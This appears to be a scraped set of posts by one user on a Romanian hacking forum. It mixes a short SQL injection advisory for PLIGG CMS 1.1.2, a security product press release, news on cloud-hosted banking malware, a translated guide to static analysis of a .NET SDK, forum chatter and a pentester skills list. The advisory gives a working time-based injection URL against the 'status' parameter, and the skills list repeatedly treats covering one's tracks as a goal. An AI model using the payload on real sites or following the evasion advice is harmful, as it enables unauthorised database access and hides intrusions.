DarkyAngel

PLIGG CMS version 1.1.2 SQL Injection in search module Example link : http://www.example.com Vulnerable parameter : status Example of exploitation && vulnerable link : http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0 Sursa

Sa-ti pierzi smartphone-ul sau tableta PC este, pe cat de suparator, pe atat de periculos; daca dispozitivul ajunge in alte maini, persoane straine au acces la datele personale, fotografiile sau contactele din agenda. Smartphone-urile sunt pierdute frecvent in locuri publice – anul trecut, aproximativ 1.500 de dispozitive mobile au fost pierdute in aeroportul din Frankfurt, cel mai mare aeroport din Germania (sursa: Fraport). Odata cu MobileSecurity 2, G Data lanseaza o noua si cuprinzatoare solutie de securitate ce le ofera utilizatorilor platformei Android o protectie perfecta impotriva amenintarilor online si a consecintelor pierderii: protectia impotriva furtului face posibila localizarea si blocarea smartphone-ului; utilizatorii pot, totodata, sa stearga de la distanta datele de pe telefon si sa dezactiveze folosirea unei cartele SIM diferite. In plus, aplicatiile pot fi protejate prin parola astfel incat ei sa fie singurii care le pot autoriza. G Data MobileSecurity 2 este disponibil in Google Play. G Data MobileSecurity 2 ofera protectie fiabila impotriva malware-ului mobil, precum si protectie in timp real pe timpul navigarii pe Internet cu un smartphone sau cu o tableta PC cu OS Android. Utilizatorii ii pot bloca pe apelantii si expeditorii de SMS-uri deranjante, iar contactele , apelurile si SMS-urile pot fi protejate prin parola. Cei care folosesc dispozitivele personale in interes de serviciu isi pot proteja contactele de business separat. In acelasi timp, utilizatorii de telefoane inteligente si tablete cu Android se pot proteja impotriva consecintelor dezastruoase in cazul pierderii sau a furtului. Dispozitivele pot fi recuperate, iar daca nu mai sunt sanse, datele stocate pot fi sterse de la distanta, pentru a preveni accesul tertilor. Dispozitivele mobile sunt asadar protejate in mod optim. Caracteristici ale G Data MobileSecurity 2: Protectie instanta pe perioada navigarii pe Internet Protectie impotriva aplicatiilor periculoase: Verifica autorizarile aplicatiilor si le clasifica Protectie impotriva programelor malware de Android: Protectie maxima prin update-uri primite in mod regulat. Fisierele si arhivele pot fi scanate manual. Filtru pentru SMS-uri si apeluri: Apelantii deranjanti si expeditorii de SMS-uri nedorite pot fi blocati usor, prin adaugarea contactelor pe blacklist. Protectie in cazul in care dispozitivul este pierdut sau furat: Daca smartphone-ul este pierdut, utilizatorul poate folosi G Data MobileSecurity 2 pentru a localiza dispozitivul folosind Google Maps sau il poate gasi prin intermediul unui semnal acustic. In plus, utilizatorul poate sterge toate datele de la distanta si poate bloca dispozitivul. Blocare in conditiile in care se incearca inlocuirea cartelei SIM: Este posibila prevenirea pornirii dispozitivului daca este folosita o alta cartela SIM. In plus, utilizatorul este anuntat de inlocuirea cartelei prin SMS. Protectie prin parola pentru aplicatii: Doar aplicatiile sigure pot fi accesate odata ce parola corecta a fost introdusa. Protectie a contactelor din agenda: Contactele din agenda, ca si istoricul apelurilor si mesajelor, sunt protejate prin parola. Cerinte de sistem: Smartphone sau tableta PC cu OS Android, versiunea 2.0 sau mai mare Spatiu necesar: aprox. 3 MB Sursa

Researchers say criminals are moving their malware heavy lifting from end user PCs to servers in the cloud. The same flexibility and freedom companies get from having their software and services hosted in the cloud is enabling cybercriminals to conduct highly automated online banking theft -- without doing much of the necessary information processing on their victims' own computers. Security and privacy experts have long worried that criminals would launch attacks on the servers storing the data in cloud environments. But, a report released this week from McAfee and Guardian Analytics shows that criminals are now using the cloud infrastructure itself to get more capability out of their campaigns. "They are leveraging the cloud," Brian Contos, senior director of emerging markets at McAfee, said in an interview. "This is the first time we've ever seen this." Basically, what researchers uncovered was a series of highly sophisticated campaigns designed to siphon money out of high balance bank accounts in Europe, the U.S. and South America through automated transfers. Like most online consumer bank fraud, the attacks started off with a phishing e-mail, typically pretending to be from a victim's bank and urging the recipient to click a link to change the account password. Once the link is clicked, a Trojan -- in this case Zeus or SpyEye -- was downloaded onto the victim's computer, in early versions of the attacks. In later versions the malware is operating from a server. When the victim goes to log into the bank site, the malware would use a so-called Web inject technique to overlay what looks like the bank Web page in the victim's browser. However, behind the scenes and totally transparent to the victim, something entirely different is happening. While the victim thinks he or she is transferring money from a savings account into a checking account, for instance, the malware is actually transferring any amount of money the criminals specify into their own account. Traditionally, banking malware like this will handle the processing from the victim's PC. But in this case, the heavy lifting of the malware is being done on the server in the cloud, according to Contos. In the operations McAfee and Guardian Analytics uncovered the servers were located in eastern European countries, he said. The servers are located mostly at "bullet proof" ISP that have lax policies and are re-located frequently to avoid discovery. "The servers are sitting within ISPs that are designed specifically to take part in fraud," he said, adding that the criminals in these campaigns even managed to bypass two-factor authentication systems commonly used in European consumer online banking. For instance, not only does a consumer type in a username and password to a site, but also swipes a card into a special card reader attached to the PC that provides additional data proof that the legitimate user is accessing the account. The log-in or authentication "information is taken from the malware (on the PC) and redirected to the server in real time, Contos said. "That server takes that data and authenticates against the victim's bank account, all within seconds." The servers -- at least 60 were used in these operations -- provided the criminals with the ability to fully automate the attacks, so less manual intervention is needed on the part of the attacker to do things like adjust the amount to steal that will be below fraud detection levels. "The server is the brains that does all the transactions in the bank account," he said. Rather than having the malware residing on the victim's computer take charge of the attack functions, like stealing the data and sending it off somewhere, the attack itself is performed by the server. "All the intelligence is sitting on the server side that they are putting in the cloud," he said. "The criminals don't have to change anything on the end user side. They can make modifications on the server side. They still have malware on the user's machine, but it can be smaller and much less intelligent than in the past." The malware on the victim's computer can stay simple and doesn't need to be updated to change the functionality of the attack; that can be done on the server side."It's all designed to make (the attack) scalable and agile," Contos said. "This also allows criminals to keep attacks alive as long as possible" because there is less activity on the end user's computer that can be detected. Contos predicts this is the future of malware operations, much like many online business operations have moved to the cloud to save time and resources for companies. Once the malware is on an end user's computer, criminals can use those computers for a multitude of operations and attacks. "We will see people repurposing malware for this purpose," he said. "They will use the install base (of an existing botnet, for example) and ride that wave and set up their own servers" to use the victim computers for theft. Sursa

De foarte multe ori descarcam un API ( Application Programming Interface ) de pe web, sau un SDK ca "Facebook SDK" fara sa ne îngrijoram despre oricare din problemele de securitate care pot interveni din practici necorespunzatoare de codare, care sunt încorporate în API. De multe ori , orice analiza de cod a oricarui din aceste API va arata ca exista deficiente în implementarea API-ului, care cresc suprafata si riscul de atac pentru o companie care foloseste aceste API. Partea din orice program de securitate pentru orice companie care foloseste API-uri publice trebuie sa faca un review complet al API-ului, si cum poate fi exploatat din cauza codului scris necorespunzator de persoana care a construit API-ul. Multi programatori si ingineri de securitate care fac analiza de cod stiu ca "mostrele de cod" sunt adesea nerecomandate pentru utilizarea în productie. Asta a fost o regula standard de când Microsoft Safety exista, si multiple atacuri care au exploatat "monstrele de cod" care au fost lasate ca o parte a instalatiei IIS pe mii de webservere din toata lumea. Ceea ce rar auzim, este despre riscurile asociate cu folosirea publica a API-urilor disponibile prin orice sursa. În timp ce cel mai mare repository de API-uri publice exista pe internet, aproape fiecare companie care ofera un API de asemenea ofera si un SDK ( Software Development Kit ) cu exemple despre cum sa faci functii particulare. Din pacate, acestea sunt exact ca "monstrele de cod", si nu vei stii niciodata calitatea "monstrelor de cod" sau riscurile despre potentialele efecte pe care aceste monstre le pot avea în codul tau. Deficientele din API-uri permit unui hacker sa înteleaga felul în care logica serverului lucreaza, si îi lasa hackerului timp sa lucreze la o cale efectiva sa sa deturneze API-ul sa faca ceva ce developerul nu a intetionat sa se întâmple. Testarea API-urilor publice, sau API-urile care vin cu SDK-uri specifice pentru aplicatii web, trebuie sa fie parte a oricarei companii de securitate si a programelor de evaluare si testare. În timp ce e comun pentru companiile care scriu cod sa faca testari de asigurare a calitatii, multe companii care folosesc API-uri publice nu folosesc teste de asigurare a calitatii ca sa se asigure ca , codul a fost scris corect, si poate rula în siguranta. O modalitate de a testa cel putin asemblarile Dot NET este sa folosesti FX Cop, care e o unealta de analizare a codului dotnet statica de la Microsoft. O poti descarca ca parte a SDK-ului pentru Dot NET si este recomandat ca amândoi, programatorii si inginerii de securitate care evalueaza codul pentru securitate sa învete cel putin sa foloseasca aceasta unealta. Ca un exemplu de folosirea analizei de cod static pentru a descoperi anumite defecte "programatice", ne vom uita la SDK-ul Dot Net Facebook, care poate fi descarcat de pe Facebook C# SDK - Download: 5.2.1 . Acest SDK are o multime de exemple de cod în el , pentru analiza statica, deci programatorii sau inginerii de securitate pot incepe sa vada felul cum functioneaza codul static, si câteva greseli comune în API-urile publice, sau "codurile monstra" care vin cu multe SDK-uri. Este un SDK relativ recent pentru data scrierii ( Octombrie 2011 ). Aceste SDK-uri sunt updatate des cu continut nou, sau noi capabilitati, deci daca faci asta, atunci vei vrea sa fii sigur ca descarci ultimul SDK si rulezi o analiza de cod static impotriva API-urilor care le vei folosi sau asambla in package, daca faci asta doar sa înveti ceva interesant sau sa înveti cum sa faci analiza de cod static. Odata ce ai descarcat Microsoft SDK incluzand ultimul Dot NET framework, vei avea FXCop instalat. În acest caz noi folosim FXCop 10.0.0, desi acest program este frecvent updatat. Trebuie s? dai click dreapta pe MyFXCopProject ca s? adaugi targeturi, sau s? introduci orice DLL pe care vrei s?-l revizuie?ti pentru securitate ca parte din analiza ta de cod static. Pentru acest exemplu vom introduce MOQ.DLL din SDK-ul Facebook, folosind versiunea 3.5 a acestui DLL. FacebookCSharpSDK\Source\packages\Moq.4.0.10827\lib\NET35\Moq.dll Face?i click pe "Analyze" ?i FXCop va trece prin DLL c?utând gre?eli de programare comune. FXCop se bazeaz? pe un baz? de date de stiluri de codare ?i practici bune de codare pentru a face analiza. În multe cazuri este o bun? unealt? pentru a descoperi probleme de baz?, dar se merit? de asemenea s? folosi?i alte unelte de analizare a codului static precum ?i în cazul în care analiza de cod indic? c? sunt multe defecte peste care poate trece. Folosind aceast? unealt? , de?i este un bun indicator de cât de bine programatorul care a scris API-ul a urmat practici bune de codare, sau a în?eles cum programul folosit pentru a scrie cod s-a schimbat sau segmente din el sunt dep??ite de-a lungul timpului. Odata ce analiza este complet?, FXCop va oferi o idee gradat? despre ce defecte sau errori a întâlnit în obiectul dot net ( în acest caz un DLL ) ?i despre ce sunt defectele. Sunt diferite c?i în care FXCop indic? severitatea aspectelor particulare ale codului, ?i apoi le d? un nivel de certitudine, sau cum ar putea într-adev?r s? existe acea eroare într-un program. Po?i s? sortezi rapid de la cel mai mare nivel de defect cu setul de cod ?i apoi s? revizui?i fiecare aspect individual al defectelor. Dac? nu ave?i un "programming background", ar fi bine s? lucra?i cu un programator astfel încât compania poate tria defectele individual , în func?ie de modul cum programatorii lucreaz?, sau folosi?i asta pentru a semnala bug-uri dac? cumpania voastr? folose?te un mecanism de raportare ?i g?sire a bugurilor intern. În orice caz, orice defect critic este ceva ce trebuie revizuit de un programator profesionist, care este familiar cu codul ?i cu compania pentru a ajuta trierea erorilor programatice care vor fi raportate cu aceast? unealt?. This is the sorted view, a non-breaking fix means that the compiler will throw a warning, while a breaking issue might halt or influence the compilation of the program. Because we are working with a DLL, it compiled, but might leave a hook for a hacker to access the call, and cause the program to error out and provide debug information that should not be provided to anyone but programmers. Because we have a breaking issue noticed by FXCop, we will look at that first to see what the issue is, and if it is fixable, or worth testing further, or sending to the bug tracking system used by a company. Again, working with a programmer on this is always a good idea of the security engineer has not done static code analysis or is not a programmer. Aceasta este vederea "sortat?", un defect "non-breaking" înseamn? c? compilerul va ar?ta o avertizare, în timp ce un defect "breaking" poate opri sau influen?a compilarea programului. Pentru c? noi lucr?m cu un DLL, este compilat, dar s-ar putea l?sa un cârlig pentru un hacker s? fac? call, ?i s? cauzeze programul s? dea eroare, ?i s? furnizeze informa?ii de debug care nu ar trebui furnizate dec?t programatorilor. Pentru c? avem un defect "breaking" observat de FXCop, ne vom uita la acela primul pentru a vedea ce defect este, ?i dac? este fixabil, sau merit? testare în continuare, sau raportarea la sistemul de bug tracking folosit de o companie. Din nou, lucr?nd cu un programator la asta e întotdeauna o idee bun? , dac? "inginerul de securitate" nu a f?cut analiz? de cod static sau nu este un programator. Ce spune acest lucru este c? este o eroare critic? , cu o certitudine de 33%. Este etichetat ca "breaking", dar noi ?tim programul deja compilat. FXCop se uit? pentru un atribut de securitate în informatii de serializare ( poate fi un token de securitate, sau ceva ce este ce este "pasat" direct "call"-ului independent a DLL-ului ) . Este foarte probabil ca un token de securitate serializat s? fie trecut în acest "call" din alt DLL sau dintr-un formulat web, cum ar fi login, sau alte informa?ii. Analiza de cod ar trebui s? arate ce date sunt transmise în acest "call" din alte sec?iuni a codului pentru a fi sigur c? cel pu?in un token de securitate este trecut în informa?iile de serializare. Aceast? eroare de asemenea indic? aceea?i concluzie, c? este un token undeva care este trimis c?tre acest obiect. Adaug? urm?torul atribut de securitate în "AbstractInvocation.GetObjectData(SerializationInfo, StreamingContext)" ca s? potrive?ti un LinkDemand în metoda de baz? ‘ISerializable.GetObjectData(SerializationInfo, StreamingContext)’: [securityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)] . Asta e ceva ce necesit? o continu? analiz? de cod a întregului proces în timpul "spargerii" astfel încât dependen?a poate fi rezolvat?. Fie un token e trecut de la LinkDemand sau nu, dac? nu atunci aceasta ar trebui prezentat ca un bug programatorului care folose?te API-ul. Unele erori sunt simple erori de capturare. Trebuie s? existe întotdeauna o func?ie de capturare a erorilor robust?, dar acest lucru este adesea trecut cu vederea în cazul erorilor programului. Capturarea erorilor de cod este o parte fundamentala a program?rii, dar de asemenea una din cele mai trecute cu vederea sec?iuni când program?m cod. Erorile "necapturate" pot conduce la informa?ii dezv?luite utilizatorului sau unui hacker care le poate da mai multe informa?ii despre cum a fost configurat serverul web, sau cum func?ioneaz? defapt serviciul web în rela?ie cu data care este prezentat? acestuia. Modific? "AttributeDisassembler.Disassemble(Attribute)" pentru a captura o excep?ie mai precis? decât ‘Exception' sau retrimite excep?ia. Câteodat? scrierea codului de capturare a erorilor poate fi extraordinar de plictisitor, dar un bun cod de capturare a erorilor poate ?ine hackerul sau chiar utilizatorul casual de la confruntarea problemelor care expun configura?ii internale ale webserverului critice sau importante, sau data care poate conduce la un foarte bun hack care expune baza de date, sau webserverul în sine. Acesta este felul de erorii pe care hackerii îl caut? în mod special pentru c? pot în?elege mai bine logica din spatele serverului, ?i cum lucreaz? API-ul cu data serverului. În timp ce un API public nu e un lucru r?u, cu codul surs? pe care o analiz? de cod static îl poate rula, deschide u?i la g?sirea suprafe?elor de atac. Orice cod , ca un API public, abilitatea hackerilor sau indivizilor r?u-inten?iona?i care ?tiu aceast? informa?ie despre API-urile publice ?i configura?ia lor deschide u?i pentru hackuri mai interesante, sau scurgeri de date mult mai interesante din sistem decât de?in?torii au inten?ionat. În unele cazuri poate conduce la abilitatea de a scrie un virus care atac? exploit(-urile) g?site de-a lungul analizei de cod. Revizuirea fiec?rui API care este folosit de o companie ar trebui s? fie parte a oric?rui proces de securitate a informa?iilor. API-urile introduc riscuri similare cu folosirea codului "mostr?" care este inclus cu seturi de programe specifice. În timp ce API-urile sunt foarte folositoare în construirea "mashup"-urilor sau consumând date în moduri noi, dac? API-ul nu este programat corespunz?tor sau las? tipuri specifice de date deschise astfel încât poate fi cauzat? o eroare, atunci un user al API-ului poate fi în pericol de a risca informa?ii prin scurgeri de date. API-urile sunt parte a eco-sistemului WEB 2.0, ?i ca atare cresc imprimarea hackingului în multiple sisteme care func?ioneaz? pe baza acestor API-uri. Unit??ile de securitate ?i business trebuie s? în?eleag? cum API-ul a fosdt scris, ce implica?ii de securitate are, ?i cum este cel mai bine s? gestionezi aceste riscuri. În?elegând "call"-urile ascunse din API-uri ne ajut? s? în?elegem logica rul?rii aplica?iei web 2.0. În timp ce Javascript folosind xHR ( XML HTTP Requests), ?i firebug este o cale a în?elegerii logicii aplica?iei web 2.0, de asemenea în?elegerea analizei de cod static a API-ului Web 2.0 sau a oric?rui API face mult mai u?or s? în?elegi suprafa?a de atac disponibil?, precum ?i furnizarea abilit??ii de "mockup" a codului ?i practicarea atacurilor efective înainte s? mearg? 'mainstream' ?i s? se opreasc? pe internet ca ultimii 2 viru?i de internet care au afectat MySpace ?i Twitter înc? de la începutul lumii Web 2.0. Mai mult ca orice alt? surs? de cod public, abilitatea hackerului sau unui individ r?u-inten?ionat de a desc?rca cod nu este restric?ionat?. Hackerii care fac analiz? de cod static ?i apoi simuleaz? pe un webserver atacurile pe care vor s? le fac? este o cale de a perfec?iona hackul astfel încât compania sau connexiunile sociale pot fi exploatate mai târziu. Reverse engineering pe API-uri este un proces des întâlnit la hackeri folosit pentru a determina cât de u?or ar fi s? atace oricare parte a suprafa?ei Web 2.0 pentru a câ?tiga informa?ii adi?ionale, a fura informa?ii personale sau s? se infiltreze în sistemele utilizatorilor folosind aceste API-uri. În timp ce func?ionalitatea unui API este fixat? la ceea ce un provider de servicii inten?ioneaz? de a da persoanelor care folosesc aceste API, utilizarea API-urilor necorespunz?tor securizate sau programate face 'hackingul' Web 2.0 mult mai interesant, ?i mult mai plauzibil, astfel încât mul?i oameni folosesc aceste API-uri, ceea ce face un hack eficient într-o gam? larg? de utilizatori.

în func?ia wi*** se compar? $0x3*** cu ce am introdus noi , ?i de aici continuarea ( dac? zic bine ) , cam pân? pe aici am ajuns. m? mai chinui s? aflu valoarea lui $0x**** , având în vedere c? nu prea am f?cut lucruri de genul . // am cenzurat cu ** s? nu dau prea multe indicii.. // e bine pân? aici? )

))))))))))))))))) ! https://rstcenter.com/forum/54907-scanner-ssh-2012-grab-2.rst#post366126 ai primit tutorialul? // on: 1. categorie gre?it? ! 2. dac? tot vrei s? oferi ceva, nu mai bine puneai tu "tutorialul" ?la, s? se poat? folosi mai mul?i, decât s? pui 10 root-uri la care se schimba parola in 5min?

c? de mult tare ai cont ! ?sta e "sloganul" RST. // c? bine zici, SPECIMENE feminine ( vezi exemplu https://rstcenter.com/forum/54846-rst-vs-polonic.rst )

prin M.P unui admin.

când "traduci" un tutorial, înva?? ?i tu din el, experimenteaz? ?i tu, m?car de curiozitate a?a, nu te-ai întrebat ce fac comenzile alea de trebuie s? le execu?i?

Query OK, 354914 rows affected (9.30 sec) c? bine se mi?c? !

sau, s? aib? soarta marketului.

am precizat, nu neap?rat prin invita?ie, cuno?tiin?e, comportament, sau altceva, exemplu: ni?te întreb?ri puse în 5 minute pentru a vedea cum se comport?.. sau un chestionar cu 5 întreb?ri random dintr-o baz? de date cu 1000, ?i apoi sortate ?i accepta?i dintre ei, dup? limbaj / scris / r?spunsuri, nu e neap?rat s? ?tie, de asta e forumul, ca s? înve?e, dar cel pu?in limbajul este primul factor în filtrarea prostiei..

spamul de genul se "pedepsea" ?i pân? acum, dup? câte ?tiu.

dac? tot "cura??m" forumul, cred c? cel mai bine ca s? nu se "murd?reasc?" din nou, înregistrare pe baz? de invita?ie / cuno?tiin?e / orice altceva care ar putea limita prostia din start. în rest, warn pe fiecare post offtopic, ban cel putin 3-5 zile la topicuri inutile, for trolling purposes.. // dac?-mi mai vin în minte, revin cu edit. // titlurile de genul "ajutor ajutor pls ajutor ajutoooor!!" aduc again ban cel pu?in o s?pt?mân? ( asta pentru c? e men?ionat ?i în regulament.. )

oare de ce v? place s? v? repeta?i ca s? face?i posturi? @Wav3, nu, nu e ea.

securing web applications pentesting web applications web development metasploit //eventual primele dou? combinate

eu unul nu în?eleg care e gluma din postul t?u, c? ai pus "HaHA"? sau acum o dai la întors..? // gata cu offtopicul. //on : 18 in almost 6 months

totu?i, de ce nu deschizi u?a la b?ie?i? C? parc? de 2 zile se tot chinuie s? dea ?i ei de tine, ?i tu le zici c? e?ti ocupat?

p?i ?i dac? ?i-ai dat seama c? 'trebuie s?-?i dai seama' de parol?, de ce mai faci afirma?ii d-astea? trebuie s?-?i fac? omul` ?i comentarii suplimentare, sa-ti faca si un desen? cred ca mai simplu de ce a zis el nu se putea, decât în plain..

tu nu te-ai trezit cu un mesaj privat de genul ? )))))) //on, e greu s? arunci 3 taguri într-un index, s? dai mare "deface" de-i ?iuie.. LE: da, îi d?dusem ?i eu report..

Iar ne invadeaz? morcovarii? mai postase?i parc? un program care "face deface".. mai faci ?i spam.. GTFO // apropo, nici nu te-ai chinuit sa dezarhivezi respectiva arhiva, doar i-ai dat run direct sa poti face print? // aa, tot tu ai luat ban azi, tot pentru chestia asta , https://rstcenter.com/forum/members/LegionHacker/ , si tot nu te potolesti?

pe ea e cuno?ti? ea e cea din poz?? m?car s? fie lumea sigur? de un lucru înainte s-o viziteze .

cred c? se mai uit? ?i dup? fa??.. la specifica?iile astea, la ce îl folose?ti, de zici c? se mi?c? a?a greu?

dac? tot s-a ajuns la "leech" cu sursa crypo , am zis s? facem ceva mai "privat", so, de aici , "RST Encrypter" project.. nu are prea multe modific?ri, dar este la îndemân?, ?i "al nostru". so, encript?ri / decript?ri - http://ps-axl.net/crypt sugestiile sunt binevenite.

Bazate pe întreb?ri pe care le-am primit de-a lungul anilor, am decis c? avem nevoie s? ?tim câteva skilluri de baz? pe care orice pentester trebuie s? le aib?. Chiar dac? nu ne putem a?tepta ca to?i s? aib? acelea?i skilluri, aici sunt câteva în comun. 1. Cunoa?terea sistemului de operare. Nu pot sublinia cât de important este. Atât de mul?i oameni vor s? devin? 'hackeri' sau 'systems security experts', f?r? s? ?tie defapt sistemele pe care se presupune s? le securizeze, "hack"-uiasc?. Este cunoscut c? odat? ce ave?i o victim?/?int?, trebuie oarecum s? v? pune?i în locul unui sysadmin. Pân? la urm?, a avea un acces root nu înseamn? nimic dac? nu ?tii ce s? faci cu el. Cum po?i s?-?i acoperi urmele dac? nici m?car nu ?tii unde ai l?sat urme? Dac? nu cuno?ti sistemul de operare în detaliu, cum e posibil s? ?tii unde toate lucrurile sunt p?strate? 2. Bune cuno?tiin?e de re?elistic? ?i protocoale de re?ea. S? fii capabil s? listezi modelul OSI , NU te calific? ca "cunosc?tor de re?elistic? ?i protocoale de re?ea". Trebuie s? ?tii TCP ce intr? ?i iese. Nu doar c? înseamn? "Transmission Control Protocol", dar de fapt, s? cuno?ti structura pachetului, s? cuno?ti ce e în el, s? cuno?ti cum func?ioneaz? în detaliu. Un bun loc de pornit este "TCP/IP Illustrated by W. Richard Stevens" ( oricare edi?ie este bun? ). S? ?tii diferen?a dintre TCP ?i UDP. S? cuno?ti 'routing', s? fii capabil s? descrii în detaliu cum ajunge un packet dintr-o parte în alta. S? cuno?ti cum func?ioneaz? DNS, în detaliu. S? în?elegi ARP, cum e folosit, de ce e folosit. S? în?elegi DHCP. Care este procesul pentru a primi o adres? IP automat? Ce se întâmpl? când te connectezi? Ce fel de trafic genereaz? NIC-ul t?u când este connectat ?i încearc? s? preia automat o adres? alocat?? 3. Cum func?ioneaz?? Dac? nu cuno?ti lucrurile de la num?rul 2, nu po?i în?elege cum func?ioneaz? "ARP Spoof" sau un atac "MiTM". Pe scurt, cum po?i manipula un proces, dac? nu ?tii nici m?car cum procesul lucreaz?, sau mai r?u, dac? nici nu ?tii c? exist? ! Care m? duce la urm?torul punct.. În general, trebuie s? fii curios cum func?ioneaz? lucrurile. Am evaluat câteva produse foarte bune în ultimii 10 ani, ?i sincer, dup? ce le-am v?zut func?ionând, primul lucru care-mi venea în minte, e "cum func?ioneaz??". 4. Înva?? scripting de baz?. Începe cu ceva simplu, ca vb sau bash. Eventual, vei vrea s? avansezi de la scripting, ?i s? începi s? înve?i cum se codeaz? un program, sau ceva scurt pentru programe de baz? ( 'hello world' NU conteaz?.. ) 5. Ia-?i un firewall de baz?, înva?? cum s?-l configurezi s? accepte/blocheze doar ce vrei tu. Apoi exerseaz? s?-l învingi. Po?i g?si routere ieftine folosite, ?i firewalluri pe ebay, sau po?i întreba compania ta pentru unele mai vechi. Începe cu simple ACL-uri pe un router. Înva?? cum s? scanezi dup? ele folosind spoofing IP de baz? sau alte tehnici simple. Nu este o cale mai bun? s? înve?i aceste concepte decât s? le aplici. Odat? ce ai înv??at aceste lucruri, po?i trece la PIX, sau ASA ?i s? repe?i procesul din nou ?i din nou. Începe s? experimentezi încercând s? treci Unicode prin ele, ?i alte atacuri. Petrece mult timp s? g?se?ti informa?ii despre cum faci asta. Obiectivul este s? înve?i s? le faci. 6. Forensics! Cuno?tiin?ele în asta, te pot ajuta la acoperirea mai bun ? a urmelor.. implica?iile trebuie s? fie evidente.. 7. Eventual înva?? un limbaj de programare, apoi înva?? înc? câteva. Nu c?uta o carte "Cum s? programezi în C" sau altceva de genul ?sta. D?-?i seama de ceva ce vrei automatizat, sau gânde?te-te la ceva simplu ce ?i-ar pl?cea s? creezi. De exemplu, un mic port scanner. Ia câteva port scannere ( ca nmap ), uite-te la codul surs?, vezi dac? dac? î?i po?i da seama de ceva din el. Apoi pune întreb?ri pe forumuri, ?i în alte p?r?i. Crede-m?, va incepe FOARTE zguduitor, dar continu? s? lucrezi! 8. S? ai o dorin?? ?i o conducere s? înve?i lucruri noi, asta e necesar! Este probabil mult mai important ca restul scris aici. Trebuie s? VREI s? pierzi din timpul t?u ( timpul în care nu e?ti pl?tit ), ca s? ob?ii cu adev?rat un control al lucrurilor, ?i s? stai informat. 9. Înva?? câte ceva despre baze de date, ?i cum func?ioneaz?. Descarc? mysql, cite?te câteva din tutorialele despre cum s? creezi simple baze de date. Nu spun c? trebuie s? fii un expert în DB, dar cunoa?terea lucrurilor de baz? în asta ajut?. 10. Întodeauna fii dispus s? interac?ionezi ?i s? împar?i cuno?tiin?ele tale cu profesioni?ti cu minte ?i al?i oameni de?tep?i. Unii dintre cei mai buni hackeri pe care îi cunosc au joburi ca, "livr?ri de pizza, lucr?tori la salubritate, unul este marketing exec., multe altele". Ei fac asta, strict pentru c? le place. ?i un lucru pe care l-am v?zut "în ei" este excitarea ?i dorin?a de a împ?r?i ce au înv??at cu oameni care chiar ascult? ?i au interese comune. Sursa